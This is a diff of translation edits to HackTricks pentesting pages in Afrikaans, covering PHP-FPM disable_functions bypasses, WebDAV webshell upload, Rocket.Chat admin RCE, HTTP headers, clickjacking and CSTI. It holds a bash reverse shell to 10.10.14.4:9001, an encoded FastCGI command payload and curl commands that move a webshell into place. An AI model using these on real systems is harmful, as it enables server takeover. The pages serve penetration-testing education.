funksie om dinamies `bypass.so` te laai en roep dan `bypass_exec` aan met 'n opdrag wat deur die `cmd` navraagparameter oorgedra word. ### Opdrag Uitvoering: diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md index 192665e34..e9673c6fc 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md @@ -12,11 +12,11 @@ Ten spyte van die intermediêre rol van die proxyverbinding, moet PHP-FPM op die ### CGI -Normaalweg word webbladsye, lêers en al die dokumente wat van die webbediener na die blaaskas oorplaas word, in 'n spesifieke openbare gids soos home/user/public_html gestoor. **Wanneer die blaaskas sekere inhoud versoek, kyk die bediener in hierdie gids en stuur die vereiste lêer na die blaaskas**. +Normaalweg word webbladsye, lêers en al die dokumente wat van die webbediener na die blaaier oorgedra word, in 'n spesifieke openbare gids soos home/user/public_html gestoor. **Wanneer die blaaier sekere inhoud versoek, kyk die bediener na hierdie gids en stuur die vereiste lêer na die blaaier**. -As **CGI** op die bediener geïnstalleer is, word die spesifieke cgi-bin-gids ook daarby gevoeg, byvoorbeeld home/user/public_html/cgi-bin. CGI-skripte word in hierdie gids gestoor. **Elke lêer in die gids word as 'n uitvoerbare program behandel**. Wanneer 'n skrip uit die gids benader word, stuur die bediener 'n versoek na die toepassing wat verantwoordelik is vir hierdie skrip, eerder as om die lêer se inhoud na die blaaskas te stuur. **Nadat die invoerdata verwerking voltooi is, stuur die toepassing die uitvoerdata** na die webbediener wat die data na die HTTP-kliënt oorplaas. +As **CGI** op die bediener geïnstalleer is, word die spesifieke cgi-bin gids ook daarby gevoeg, byvoorbeeld home/user/public_html/cgi-bin. CGI-skripte word in hierdie gids gestoor. **Elke lêer in die gids word as 'n uitvoerbare program behandel**. Wanneer 'n skrip uit die gids benader word, stuur die bediener 'n versoek na die toepassing wat verantwoordelik is vir hierdie skrip, eerder as om die lêer se inhoud na die blaaier te stuur. **Nadat die invoerdata verwerking voltooi is, stuur die toepassing die uitvoerdata** na die webbediener wat die data na die HTTP-klient oordra. -Byvoorbeeld, wanneer die CGI-skrip [http://mysitename.com/**cgi-bin/file.pl**](http://mysitename.com/**cgi-bin/file.pl**) benader word, sal die bediener die toepaslike Perl-toepassing deur CGI uitvoer. Die data wat uit die skripuitvoering gegenereer word, sal deur die toepassing na die webbediener gestuur word. Die bediener sal op sy beurt die data na die blaaskas oorplaas. As die bediener nie CGI gehad het nie, sou die blaaskas die **.pl** lêer se kode self vertoon het. (verklaring van [hier](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html)) +Byvoorbeeld, wanneer die CGI-skrip [http://mysitename.com/**cgi-bin/file.pl**](http://mysitename.com/**cgi-bin/file.pl**) benader word, sal die bediener die toepaslike Perl-toepassing deur CGI uitvoer. Die data wat uit die skrip se uitvoering gegenereer word, sal deur die toepassing na die webbediener gestuur word. Die bediener sal op sy beurt die data na die blaaier oordra. As die bediener nie CGI gehad het nie, sou die blaaier die **.pl** lêer se kode self vertoon het. (verklaring van [hier](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html)) ### FastCGI @@ -31,20 +31,20 @@ Dit is moontlik om PHP-kode te loop deur die FastCGI te misbruik en die `disable ### Via Gopherus > [!CAUTION] -> Ek is nie seker of dit in moderne weergawes werk nie, want ek het een keer probeer en dit het niks uitgevoer nie. Asseblief, as jy meer inligting oor hierdie het, kontak my via \[**PEASS & HackTricks telegramgroep hier**]\([**https://t.me/peass**](https://t.me/peass)), of twitter \[**@carlospolopm**]\([**https://twitter.com/hacktricks_live**](https://twitter.com/hacktricks_live))**.** +> Ek is nie seker of dit in moderne weergawes werk nie, want ek het een keer probeer en dit het niks uitgevoer nie. Asseblief, as jy meer inligting hieroor het, kontak my via \[**PEASS & HackTricks telegramgroep hier**]\([**https://t.me/peass**](https://t.me/peass)), of twitter \[**@carlospolopm**]\([**https://twitter.com/hacktricks_live**](https://twitter.com/hacktricks_live))**.** Met [Gopherus](https://github.com/tarunkant/Gopherus) kan jy 'n payload genereer om na die FastCGI luisteraar te stuur en arbitrêre opdragte uit te voer: ![](<../../../../images/image (227).png>) -Dan kan jy die urlencoded payload gryp en dit decodeer en na base64 transformeer, \[**met hierdie resep van cyberchef byvoorbeeld**]\([http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29\&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw](http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw)). En dan die base64 in hierdie php-kode kopieer/plak: +Dan kan jy die urlencoded payload gryp en dit decodeer en na base64 transformeer, \[**met hierdie resep van cyberchef byvoorbeeld**]\([http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29\&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw](http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw)). En dan die base64 kopieer en plak in hierdie php-kode: ```php [!CAUTION] > Ek is nie seker of dit in moderne weergawes werk nie, want ek het een keer probeer en ek kon niks uitvoer nie. Trouens, ek het gesien dat `phpinfo()` van FastCGI-uitvoering aangedui het dat `disable_functions` leeg was, maar PHP (op een of ander manier) het steeds verhoed dat ek enige voorheen gedeaktiveerde funksie kon uitvoer. Asseblief, as jy meer inligting hieroor het, kontak my via \[**PEASS & HackTricks telegramgroep hier**]\([**https://t.me/peass**](https://t.me/peass)), of twitter \[**@carlospolopm**]\([**https://twitter.com/hacktricks_live**](https://twitter.com/hacktricks_live))**.** @@ -406,23 +406,23 @@ Deur die vorige funksie te gebruik, sal jy sien dat die funksie **`system`** **n ![](<../../../../images/image (713).png>) -**So, ek dink dat jy slegs `disable_functions` kan stel via php `.ini` konfigurasie lêers en die PHP_VALUE sal daardie instelling nie oorskry nie.** +**So, ek dink jy kan slegs `disable_functions` via php `.ini` konfigurasie lêers stel en die PHP_VALUE sal daardie instelling nie oorskry nie.** ### [**FuckFastGCI**](https://github.com/w181496/FuckFastcgi) Dit is 'n php-skrip om die fastcgi-protokol te benut om `open_basedir` en `disable_functions` te omseil.\ -Dit sal jou help om streng `disable_functions` te omseil na RCE deur die kwaadwillige uitbreiding te laai.\ +Dit sal jou help om streng `disable_functions` na RCE te omseil deur die kwaadwillige uitbreiding te laai.\ Jy kan dit hier toegang: [https://github.com/w181496/FuckFastcgi](https://github.com/w181496/FuckFastcgi) of 'n effens gemodifiseerde en verbeterde weergawe hier: [https://github.com/BorelEnzo/FuckFastcgi](https://github.com/BorelEnzo/FuckFastcgi) Jy sal vind dat die ontploffing baie soortgelyk is aan die vorige kode, maar in plaas daarvan om te probeer om `disable_functions` te omseil met PHP_VALUE, probeer dit om **'n eksterne PHP-module** te laai om kode uit te voer met die parameters `extension_dir` en `extension` binne die veranderlike `PHP_ADMIN_VALUE`.\ -**NOTE1**: Jy sal waarskynlik die **uitbreiding moet hercompileer** met die **dieselfde PHP weergawe wat die bediener** gebruik (jy kan dit binne die uitvoer van phpinfo nagaan): +**NOTE1**: Jy sal waarskynlik die **uitbreiding moet **hercompile** met die **dieselfde PHP weergawe wat die bediener** gebruik (jy kan dit binne die uitvoer van phpinfo nagaan): ![](<../../../../images/image (180).png>) > [!CAUTION] > **NOTE2**: Ek het daarin geslaag om dit te laat werk deur die `extension_dir` en `extension` waardes binne 'n PHP `.ini` konfigurasie lêer in te voeg (iets wat jy nie sal kan doen nie wanneer jy 'n bediener aanval). Maar om een of ander rede, toe ek hierdie ontploffing gebruik en die uitbreiding van die `PHP_ADMIN_VALUE` veranderlike laai, het die proses net gesterf, so ek weet nie of hierdie tegniek steeds geldig is nie. -### PHP-FPM Remote Code Execution Vulnerability (CVE-2019–11043) +### PHP-FPM Afgeleide Kode Uitvoering Kwesbaarheid (CVE-2019–11043) Jy kan hierdie kwesbaarheid benut met [**phuip-fpizdam**](https://github.com/neex/phuip-fpizdam) en dit toets met hierdie docker omgewing: [https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043](https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043).\ Jy kan ook 'n analise van die kwesbaarheid [**hier**](https://medium.com/@knownsec404team/php-fpm-remote-code-execution-vulnerability-cve-2019-11043-analysis-35fd605dd2dc)**.** diff --git a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md index 3cf932f59..d7aa95f2b 100644 --- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/src/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Wanneer jy met 'n **HTTP-server met WebDav** geaktiveer werk, is dit moontlik om **lêers te manipuleer** as jy die regte **akkrediteer** het, wat gewoonlik deur **HTTP Basic Authentication** geverifieer word. Om beheer oor so 'n bediener te verkry, behels dikwels die **oplaai en uitvoering van 'n webshell**. +Wanneer jy met 'n **HTTP Server met WebDav** geaktiveer werk, is dit moontlik om **lêers te manipuleer** as jy die regte **akkrediteer** het, wat gewoonlik deur **HTTP Basic Authentication** geverifieer word. Om beheer oor so 'n bediener te verkry, behels dikwels die **oplaai en uitvoering van 'n webshell**. Toegang tot die WebDav-bediener vereis tipies **geldige akkrediteer**, met [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) as 'n algemene metode om dit te verkry. @@ -10,7 +10,7 @@ Om beperkings op lêeroplaaie te oorkom, veral dié wat die uitvoering van bedie - **Laai** lêers met **uitvoerbare uitbreidings** direk op as dit nie beperk is nie. - **Hernoem** opgelaaide nie-uitvoerbare lêers (soos .txt) na 'n uitvoerbare uitbreiding. -- **Kopieer** opgelaaide nie-uitvoerbare lêers, en verander hul uitbreiding na een wat uitvoerbaar is. +- **Kopieer** opgelaaide nie-uitvoerbare lêers, terwyl jy hul uitbreiding verander na een wat uitvoerbaar is. ## DavTest @@ -39,18 +39,18 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` ## IIS5/6 WebDav Kwetsbaarheid -Hierdie kwesbaarheid is baie interessant. Die **WebDav** laat **nie toe** om **lêers** met die uitbreiding **.asp** te **laai** of te **hernoem** nie. Maar jy kan dit **omseil** deur aan die einde van die naam **";.txt"** by te voeg en die lêer sal **uitgevoer** word asof dit 'n .asp-lêer was (jy kan ook **".html" in plaas van ".txt" gebruik**, maar **MOET nie die ";" vergeet nie**). +Hierdie kwesbaarheid is baie interessant. Die **WebDav** laat **nie toe** om **te laai** of **te hernoem** lêers met die uitbreiding **.asp** nie. Maar jy kan **omseil** dit deur aan die einde van die naam **";.txt"** by te voeg en die lêer sal **uitgevoer** word asof dit 'n .asp-lêer was (jy kan ook **".html" in plaas van ".txt" gebruik** maar **MOET nie die ";" vergeet nie**). -Dan kan jy jou shell as 'n ".**txt" lêer** **laai** en dit **kopieer/verskuif na 'n ".asp;.txt"** lêer. Deur toegang tot daardie lêer via die webbediener, sal dit **uitgevoer** word (cadaver sal sê dat die skuifaksie nie gewerk het nie, maar dit het). +Dan kan jy jou shell as 'n ".**txt" lêer** **oplaai** en dit **kopieer/verskuif na 'n ".asp;.txt"** lêer. Deur toegang tot daardie lêer via die webbediener, sal dit **uitgevoer** word (cadaver sal sê dat die skuifaksie nie gewerk het nie, maar dit het). ![](<../../images/image (1092).png>) ## Post geloofsbriewe -As die Webdav 'n Apache-bediener gebruik het, moet jy kyk na die geconfigureerde webwerwe in Apache. Gewoonlik:\ +As die Webdav 'n Apache-bediener gebruik het, moet jy kyk na geconfigureerde webwerwe in Apache. Gewoonlik:\ \&#xNAN;_**/etc/apache2/sites-enabled/000-default**_ -Binne-in dit kan jy iets soos vind: +Binne dit kan jy iets soos vind: ``` ServerAdmin webmaster@localhost Alias /webdav /var/www/webdav @@ -65,9 +65,9 @@ Soos jy kan sien, is daar die lêers met die geldige **credentials** vir die **w ``` /etc/apache2/users.password ``` -Binne hierdie tipe lêers sal jy die **gebruikersnaam** en 'n **hash** van die wagwoord vind. Dit is die geloofsbriewe wat die webdav-bediener gebruik om gebruikers te verifieer. +Binne hierdie tipe lêers sal jy die **gebruikersnaam** en 'n **hash** van die wagwoord vind. Dit is die akreditasies wat die webdav-bediener gebruik om gebruikers te verifieer. -Jy kan probeer om hulle te **breek**, of om **meer** by te voeg as jy om een of ander rede die **webdav** bediener wil **toegang**. +Jy kan probeer om hulle te **breek**, of om **meer** toe te voeg as jy om een of ander rede die **webdav** bediener wil **toegang**. ```bash htpasswd /etc/apache2/users.password #You will be prompted for the password ``` diff --git a/src/network-services-pentesting/pentesting-web/rocket-chat.md b/src/network-services-pentesting/pentesting-web/rocket-chat.md index 645830384..9eb1bc7b5 100644 --- a/src/network-services-pentesting/pentesting-web/rocket-chat.md +++ b/src/network-services-pentesting/pentesting-web/rocket-chat.md @@ -5,14 +5,14 @@ ## RCE -As jy admin binne Rocket Chat is, kan jy RCE verkry. +As jy admin binne Rocket Chat is, kan jy RCE kry. - Gaan na **`Integrations`** en kies **`New Integration`** en kies enige: **`Incoming WebHook`** of **`Outgoing WebHook`**. - `/admin/integrations/incoming`
-- Volgens die [docs](https://docs.rocket.chat/guides/administration/admin-panel/integrations), gebruik albei ES2015 / ECMAScript 6 ([basies JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) om die data te verwerk. Kom ons kry 'n [rev shell vir javascript](../../generic-hacking/reverse-shells/linux.md#nodejs) soos: +- Volgens die [docs](https://docs.rocket.chat/guides/administration/admin-panel/integrations), gebruik albei ES2015 / ECMAScript 6 ([basies JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) om die data te verwerk. So kom ons kry 'n [rev shell vir javascript](../../generic-hacking/reverse-shells/linux.md#nodejs) soos: ```javascript const require = console.log.constructor("return process.mainModule.require")() const { exec } = require("child_process") @@ -22,12 +22,12 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
-- Konfigureer WebHook-skrip: +- Konfigureer WebHook skrip:
- Stoor veranderinge -- Kry die gegenereerde WebHook-URL: +- Kry die gegenereerde WebHook URL:
diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index e06da3ab8..6abc0ef8d 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -108,11 +108,11 @@ Byvoorbeeld, 'n kombinasie van **`Range`** en **`Etag`** in 'n HEAD versoek kan ## Beheer - **`Allow`**: Hierdie koptekst word gebruik om die HTTP metodes te kommunikeer wat 'n hulpbron kan hanteer. Byvoorbeeld, dit mag gespesifiseer word as `Allow: GET, POST, HEAD`, wat aandui dat die hulpbron hierdie metodes ondersteun. -- **`Expect`**: Gebruik deur die kliënt om verwagtinge oor te dra wat die bediener moet nakom vir die versoek om suksesvol verwerk te word. 'n Algemene gebruiksgeval behels die `Expect: 100-continue` koptekst, wat aandui dat die kliënt van plan is om 'n groot data las te stuur. Die kliënt soek 'n `100 (Continue)` antwoord voordat hy met die oordrag voortgaan. Hierdie meganisme help om netwerkgebruik te optimaliseer deur op bedienerbevestiging te wag. +- **`Expect`**: Gebruik deur die kliënt om verwagtinge oor te dra wat die bediener moet nakom vir die versoek om suksesvol verwerk te word. 'n Algemene gebruiksgeval behels die `Expect: 100-continue` koptekst, wat aandui dat die kliënt van plan is om 'n groot data payload te stuur. Die kliënt soek 'n `100 (Continue)` antwoord voordat hy met die oordrag voortgaan. Hierdie meganisme help om netwerkgebruik te optimaliseer deur op bedienerbevestiging te wag. ## Aflaaie -- Die **`Content-Disposition`** koptekst in HTTP antwoorde dui aan of 'n lêer **inline** (binne die webblad) vertoon moet word of as 'n **aanhegting** (afgelaai) behandel moet word. Byvoorbeeld: +- Die **`Content-Disposition`** koptekst in HTTP antwoorde dui aan of 'n lêer **inline** (binne die webblad) vertoon moet word of as 'n **aanhegting** (afgelaai). Byvoorbeeld: ``` Content-Disposition: attachment; filename="filename.jpg" ``` @@ -147,13 +147,13 @@ el.innerHTML = escaped // Results in safe assignment. ``` ### **X-Content-Type-Options** -Hierdie koptekst voorkom MIME-tipe sniffing, 'n praktyk wat kan lei tot XSS kwesbaarhede. Dit verseker dat blaaiers die MIME-tipes wat deur die bediener gespesifiseer is, respekteer. +Hierdie kop voorkom MIME tipe sniffing, 'n praktyk wat kan lei tot XSS kwesbaarhede. Dit verseker dat blaaiers die MIME tipes wat deur die bediener gespesifiseer is, respekteer. ``` X-Content-Type-Options: nosniff ``` ### **X-Frame-Options** -Om clickjacking te bekamp, beperk hierdie kop wat dokumente in ``, ` ``` -Die `allow-forms` en `allow-scripts` waardes stel aksies binne die iframe in terwyl top-niveau navigasie gedeaktiveer word. Om die beoogde funksionaliteit van die geteikende webwerf te verseker, mag addisionele toestemmings soos `allow-same-origin` en `allow-modals` nodig wees, afhangende van die tipe aanval. Bladsy-konsolboodskappe kan lei oor watter toestemmings toegelaat moet word. +Die `allow-forms` en `allow-scripts` waardes stel aksies binne die iframe in terwyl top-niveau navigasie gedeaktiveer word. Om die beoogde funksionaliteit van die geteikende webwerf te verseker, mag addisionele toestemmings soos `allow-same-origin` en `allow-modals` nodig wees, afhangende van die tipe aanval. Blaaier-konsolboodskappe kan lei oor watter toestemmings toegelaat moet word. ### Bediener-kant Verdedigings @@ -128,7 +128,7 @@ Die **`X-Frame-Options` HTTP antwoordkop** informeer blaaiers oor die wettigheid - `X-Frame-Options: allow-from https://trusted.com` - Slegs die gespesifiseerde 'uri' kan die bladsy raam. - Let op die beperkings: as die blaier hierdie riglyn nie ondersteun nie, mag dit nie werk nie. Sommige blaaiers verkies die CSP frame-ancestors riglyn. -#### Content Security Policy (CSP) frame-ancestors riglyn +#### Inhoudsekuriteitsbeleid (CSP) frame-ancestors riglyn **`frame-ancestors` riglyn in CSP** is die aanbevole metode vir Clickjacking beskerming: @@ -142,9 +142,9 @@ Byvoorbeeld, die volgende CSP laat slegs raamwerk toe vanaf dieselfde domein: Verder besonderhede en komplekse voorbeelde kan gevind word in die [frame-ancestors CSP dokumentasie](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) en [Mozilla se CSP frame-ancestors dokumentasie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors). -### Content Security Policy (CSP) met `child-src` en `frame-src` +### Inhoudsekuriteitsbeleid (CSP) met `child-src` en `frame-src` -**Content Security Policy (CSP)** is 'n sekuriteitsmaatreël wat help om Clickjacking en ander kode-inspuitaanvalle te voorkom deur te spesifiseer watter bronne die blaier moet toelaat om inhoud te laai. +**Inhoudsekuriteitsbeleid (CSP)** is 'n sekuriteitsmaatreël wat help om Clickjacking en ander kode-inspuitaanvalle te voorkom deur te spesifiseer watter bronne die blaier moet toelaat om inhoud te laai. #### `frame-src` Riglyn @@ -168,11 +168,11 @@ Hierdie beleid laat rame en werkers van dieselfde oorsprong (self) en https://tr - Aftrekking: child-src word uitgefaseer ten gunste van frame-src en worker-src. - Terugvalgedrag: As frame-src afwesig is, word child-src as 'n terugval vir rame gebruik. As albei afwesig is, word default-src gebruik. -- Streng Bron Definisie: Sluit slegs vertroude bronne in die riglyne in om uitbuiting te voorkom. +- Strikte Bron Definisie: Sluit slegs vertroude bronne in die richtlijnen in om uitbuiting te voorkom. #### JavaScript Raam-Breek Skripte -Alhoewel dit nie heeltemal foutloos is nie, kan JavaScript-gebaseerde raam-breek skripte gebruik word om te voorkom dat 'n webblad in 'n raam geplaas word. Voorbeeld: +Alhoewel dit nie heeltemal foutloos is nie, kan JavaScript-gebaseerde raam-busting skripte gebruik word om te voorkom dat 'n webblad in 'n raam geplaas word. Voorbeeld: ```javascript if (top !== self) { top.location = self.location diff --git a/src/pentesting-web/client-side-path-traversal.md b/src/pentesting-web/client-side-path-traversal.md index 667db82ff..284359772 100644 --- a/src/pentesting-web/client-side-path-traversal.md +++ b/src/pentesting-web/client-side-path-traversal.md @@ -7,10 +7,10 @@ 'n Kliëntkant pad traversering vind plaas wanneer jy die **pad van 'n URL** kan **manipuleer** wat **gestuur gaan word na 'n gebruiker om op 'n wettige manier te besoek** of wat 'n gebruiker op een of ander manier **gedwonge gaan word om te besoek, byvoorbeeld via JS of CSS**. - In [**hierdie skrywe**](https://erasec.be/blog/client-side-path-manipulation/), was dit moontlik om die **uitnodigings-URL** te **verander** sodat dit sou eindig met **die kansellasie van 'n kaart**. -- In [**hierdie skrywe**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html), was dit moontlik om 'n **kliëntkant pad traversering via CSS** te kombineer (dit was moontlik om die pad waar 'n CSS-hulpbron gelaai is te verander) met 'n **oop omleiding** om die CSS-hulpbron van 'n **aanvaller-beheerde domein** te laai. -- In [**hierdie skrywe**](https://blog.doyensec.com/2024/07/02/cspt2csrf.html), is dit moontlik om 'n tegniek te sien oor hoe om CSPT **te misbruik om 'n CSRF-aanval** uit te voer. Dit word gedoen deur **alle data** wat 'n aanvaller kan beheer (URL-pad, parameters, fragment, data ingespuit in die DB...) **en die sinke** waarheen hierdie data eindig (versoeke wat uitgevoer word) te **moniteer**. -- Kyk na [**hierdie blaaiervrugte**](https://addons.mozilla.org/en-US/firefox/addon/eval-villain/) om dit te monitor. +- In [**hierdie skrywe**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html), was dit moontlik om 'n **kliëntkant pad traversering via CSS** te kombineer (dit was moontlik om die pad waar 'n CSS hulpbron gelaai is te verander) met 'n **oop omleiding** om die CSS hulpbron van 'n **aanvaller beheerde domein** te laai. +- In [**hierdie skrywe**](https://blog.doyensec.com/2024/07/02/cspt2csrf.html), is dit moontlik om 'n tegniek te sien oor hoe om CSPT **te misbruik om 'n CSRF-aanval** uit te voer. Dit word gedoen deur **alle data** wat 'n aanvaller kan beheer (URL pad, parameters, fragment, data ingespuit in die DB...) **en die sinke** waarheen hierdie data eindig (versoeke wat uitgevoer word) te **moniteer**. +- Kyk na [**hierdie blaaiers uitbreiding**](https://addons.mozilla.org/en-US/firefox/addon/eval-villain/) om dit te monitor. - Kyk na hierdie [**CSPT speelgrond**](https://github.com/doyensec/CSPTPlayground) om die tegniek te probeer. -- Kyk na [**hierdie tutoriaal**](https://blog.doyensec.com/2024/12/03/cspt-with-eval-villain.html) oor hoe om die blaaiervrugte in die speelgrond te gebruik. +- Kyk na [**hierdie tutoriaal**](https://blog.doyensec.com/2024/12/03/cspt-with-eval-villain.html) oor hoe om die blaaiers uitbreiding in die speelgrond te gebruik. {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index c8d3a4390..afbd21c7a 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -1,17 +1,17 @@ -# Kliëntkant Sjabloon Inspuiting (CSTI) +# Klientkant Sjabloon Inspuiting (CSTI) {{#include ../banners/hacktricks-training.md}} ## Samevatting -Dit is soos 'n [**Bediener Kant Sjabloon Inspuiting**](ssti-server-side-template-injection/) maar in die **kliënt**. Die **SSTI** kan jou toelaat om **kode** op die afstandbediener uit te voer, die **CSTI** kan jou toelaat om **arbitraire JavaScript** kode in die slagoffer se blaaier 